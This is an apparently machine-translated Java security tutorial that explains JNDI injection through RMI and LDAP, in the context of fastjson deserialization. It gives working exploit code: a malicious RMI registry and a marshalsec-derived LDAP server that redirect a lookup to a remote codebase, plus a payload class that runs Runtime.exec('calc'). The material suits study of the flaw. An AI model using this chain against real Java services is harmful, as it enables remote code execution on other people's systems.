JNDI injection for Java Security

JNDI injection for Java Security

Article launch: JNDI injection for Java Security

0x00 Preface

Continue with the previous article, and then learn about JNDI injection. JNDI injection is one of the attack techniques in fastjson deserialization vulnerability.

0x01 JNDI

summary

JNDI (Java Naming and Directory Interface) is a standard Java Naming System interface provided by Sun company. JNDI provides a unified client API. Through the implementation of JNDI service provider interface (SPI) through different access provider interfaces, the manager maps the JNDI API to a specific naming service and directory system, Enables Java applications to interact with these naming and directory services. Directory service is a natural extension of naming service.

JNDI (Java Naming and Directory Interface) is an API for application design. It provides developers with a common and unified interface to find and access various naming and directory services. Similar to JDBC, it is built on the abstraction layer. Now JNDI has become one of the J2EE standards. All J2EE containers must provide a JNDI service.

The existing directories and services that JNDI can access include: DNS, xnam, Novell directory service, LDAP (Lightweight Directory Access Protocol), CORBA object service, file system, Windows XP / 2000 / NT / me / 9x registry, RMI, DSML v1&v2, NIS.

The above is a description of Baidu wiki. Simply put, it is equivalent to an index library. A naming service associates objects with names, and the corresponding objects can be found by their specified names. It is found from the online article that this function can dynamically load the database configuration file, so as to keep the database code unchanged.

JNDI structure

Five packages are provided in the Java JDK for the function implementation of JNDI, which are:

javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;

javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;

javax.naming.event:在命名目录服务器中请求事件通知;

javax.naming.ldap:提供LDAP支持;

javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

0x02 pre knowledge

In fact, in the face of some relatively new knowledge, individuals will record some new things, such as the role of classes. Because some of the articles written by other big guys don't describe too much in some pre required knowledge, so you need to find it yourself. For people who have just come into contact, they also need to read the materials. Although it can be found on the Internet, there will still be many search knowledge points, which need to be searched one by one. Therefore, some knowledge points that need to be used are recorded here. It's convenient to understand and read by yourself.

Initialcontext class

Construction method:

InitialContext() 
构建一个初始上下文。  
InitialContext(boolean lazy) 
构造一个初始上下文,并选择不初始化它。  
InitialContext(Hashtable<?,?> environment) 
使用提供的环境构建初始上下文。 

code:

InitialContext initialContext = new InitialContext();

The explanation given in the JDK is to build the initial context. In fact, generally speaking, it is to obtain the initial directory environment.

Common methods:

bind(Name name,Object obj) 
	将名称绑定到对象。 
list(String name) 
	枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name) 
	检索命名对象。 
rebind(String name,Object obj) 
	将名称绑定到对象,覆盖任何现有绑定。 
unbind(String name) 
	取消绑定命名对象。 

code:

package com.rmi.demo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

Reference class

This class is also in javax Naming is a class that represents a reference to an object found outside the naming / directory system. Provides the reference function of classes in JNDI.

Construction method:

Reference(String className) 
	为类名为“className”的对象构造一个新的引用。  
Reference(String className,RefAddr addr) 
	为类名为“className”的对象和地址构造一个新引用。  
Reference(String className,RefAddr addr,String factory,String factoryLocation) 
	为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。  
Reference(String className,String factoryLocation) 
	为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。  

code:

        String url = "http://127.0.0.1:8080";
        Reference reference = new Reference("test","test",url);

Parameter 1: classname - the class name used when loading remotely

Parameter 2: ClassFactory - the name of the class to be instantiated in the loaded class

Parameter 3: classfactorylocation - the address providing classes data can be file / ftp / HTTP protocol

Common methods:

void add(int posn,RefAddr addr) 
	将地址添加到索引posn的地址列表中。  
void add(RefAddr addr) 
	将地址添加到地址列表的末尾。  
void clear() 
	从此引用中删除所有地址。  
RefAddr get(int posn) 
	检索索引posn上的地址。  
RefAddr get(String addrType) 
	检索地址类型为“addrType”的第一个地址。  
Enumeration<RefAddr> getAll() 
	检索本参考文献中地址的列举。  
String getClassName() 
	检索引用引用的对象的类名。  
String getFactoryClassLocation() 
	检索此引用引用的对象的工厂位置。  
String getFactoryClassName() 
	检索此引用引用对象的工厂的类名。    
Object remove(int posn) 
	从地址列表中删除索引posn上的地址。  
int size() 
	检索此引用中的地址数。  
String toString() 
	生成此引用的字符串表示形式。  

code:

package com.rmi.demo;

import com.sun.jndi.rmi.registry.ReferenceWrapper;


import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.remoteexception;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi {
    public static void main(String[] args) throws NamingException,remoteexception,AlreadyBoundException {
        String url = "http://127.0.0.1:8080"; 
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test",url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("aa",referenceWrapper);


    }
}

Here you can see that after calling the reference, the referencewrapper is called to pass in the previous reference object. Why?

In fact, you can know the reason by looking at the reference. When you look at the reference, you do not implement the remote interface or inherit the unicastremoteobject class. As mentioned earlier in RMI, you need to register the class with registry and implement remote and inherit the unicastremoteobject class. There is no relevant code here, so you need to call referencewrapper to encapsulate it.

0x03 JNDI injection attack

Before describing JNDI injection, let's take a look at the source code.

Code example:

package com.rmi.demo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
        initialContext.lookup(uri);//获取指定的远程对象

    }
}

In the above initialcontext Here in lookup (URI), if the URI is controllable, the client may be attacked. The specific reasons are analyzed below. JNDI can use RMI and LDAP to access the target service. In practical application, JNDI injection and RMI will also be used to realize attacks.

JNDI injection + RMI attack

Let's take a look at a few pieces of code to analyze the specific attack process.

Rmiserver Code:

package com.rmi.jndi;


import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.remoteexception;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class server {
    public static void main(String[] args) throws remoteexception,NamingException,AlreadyBoundException {
        String url = "http://127.0.0.1:8080/";
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test",url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("obj",referenceWrapper);
        System.out.println("running");
    }
}

Rmiclient Code:

package com.rmi.jndi;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class client {
    public static void main(String[] args) throws NamingException {
        String url = "rmi://localhost:1099/obj";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

The following also needs a section of code to execute the command, which is mounted on the web page to make the server request.

package com.rmi.jndi;

import java.io.IOException;

public class test {
    public static void main(String[] args) throws IOException {
        Runtime.getRuntime().exec("calc");

    }
}

Use the javac command to compile the class into a class file and mount it on the web page.

The principle is to bind the malicious reference class to the registry of RMI. When the client calls lookup to remotely obtain the remote class, it will obtain the reference object. After obtaining the reference object, it will find the class specified in the reference. If it cannot be found, it will make a request at the remote address specified in the reference, Requests to remote classes are executed locally.

I actually failed to execute here, because in the higher version, the system attribute is com sun. jndi. rmi. object. trustURLCodebase、com. sun. jndi. cosnaming. object. The default value of trusturlcodebase changes to false. In the lower version, these options are true by default, and some classes can be loaded remotely.

LDAP concept

Lightweight Directory Access Protocol (English: Lightweight Directory Access Protocol, abbreviation: LDAP/ ˈɛ LD æ P /) is an open, neutral, industry standard application protocol that provides access control and maintains directory information of distributed information through IP protocol.

JNDI injection + LDAP attack

After having the previous case, it is also relatively simple to look at this. The reason why JNDI injection will cooperate with LDAP is that the reference remote loading factory class of LDAP service is not affected by com sun. jndi. rmi. object. trustURLCodebase、com. sun. jndi. cosnaming. object. Restrictions on attributes such as trusturlcodebase.

Start an LDAP service. The code is changed from marshalsec by a big man.

package com.rmi.rmiclient;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.socketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class demo {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8080/#test"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",//$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"),//$NON-NLS-1$
                    port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result,base,e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result,String base,Entry e ) throws LDAPException,MalformedURLException {
            URL turl = new URL(this.codebase,this.codebase.getRef().replace('.','/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName","foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0,refPos);
            }
            e.addAttribute("javaCodeBase",cbstring);
            e.addAttribute("objectClass","javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory",this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0,ResultCode.SUCCESS));
        }
    }
}

Write a client.

package com.rmi.rmiclient;




import javax.naming.InitialContext;
import javax.naming.NamingException;



public class clientdemo {
    public static void main(String[] args) throws NamingException {
        Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");
}}

Write a remote malicious class, compile it into a class file and place it in the web page.

public class test{
    public test() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

There is a pit here, that is, malicious classes cannot contain the top package information, otherwise the call will fail. Let's start the server and then the client.

On JDK 8u191 com sun. jndi. ldap. object. The default value of the trusturlcodebase property is adjusted to false. This way can not be used, but there will still be ways to bypass it. I won't repeat it here.

Reference articles

https://xz.aliyun.com/t/8214
https://xz.aliyun.com/t/6633
https://xz.aliyun.com/t/7264

Here, I would like to thank the masters for their articles. I have roughly listed several masters' articles, but not limited to these. If there are some mistakes in this article, please point them out.

0x04 end

In fact, I spent a lot of time in this article.

The content of this article comes from the network collection of netizens. It is used as a learning reference. The copyright belongs to the original author.
THE END
分享
二维码
< <上一篇
下一篇>>